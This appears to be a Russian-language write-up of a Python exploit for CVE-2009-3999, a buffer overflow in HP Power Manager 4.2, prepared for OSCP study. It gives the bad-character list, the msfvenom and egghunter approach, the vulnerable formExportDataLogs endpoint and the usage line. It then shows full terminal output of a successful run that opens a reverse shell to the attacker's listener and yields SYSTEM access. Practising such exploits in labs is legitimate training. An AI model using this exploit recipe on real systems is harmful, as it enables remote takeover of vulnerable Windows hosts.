
Автоматический скрипт, написанный на python для CVE-2009-3999
В рамках подготовки к OSCP я наткнулся на CVE-2009-3999 (эксплойт переполнения буфера HP Power Manager 4.2 (Build 7)).
Последняя версия скрипта обновлена для устранения проблем совместимости с Python 3, связанных с обработкой строк и байтов, что гарантирует передачу полезной нагрузки в виде необработанных двоичных данных для предотвращения повреждения памяти.
Эта версия включает автоматическую интеграцию с msfvenom, которая динамически генерирует шелл-код с правильными bad characters (\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c), присоединяет его к специализированному Egghunter'у и передает финальную полезную нагрузку через POST-запрос к endpoint'у formExportDataLogs. Он предназначен для образовательных целей и аудита безопасности, упрощая процесс эксплуатации путем генерации шелл-кода и запуска слушателя под одной крышей.
usage: python3 CVE-2009-3999.py <TARGET-IP> <TARGET-PORT> <LHOST> <LPORT>
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/kevin]
└─# python3 exp6.py 192.168.147.45 80 192.168.45.183 4444
[*] Generating msfvenom payload for 192.168.45.183:4444...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a nil character
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of python file: 1953 bytes
[+] Sending exploit to 192.168.147.45:80
[+] Exploit sent. Starting listener on 4444...
listening on [any] 4444 ...
connect to [192.168.45.183] from (UNKNOWN) [192.168.147.45] 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system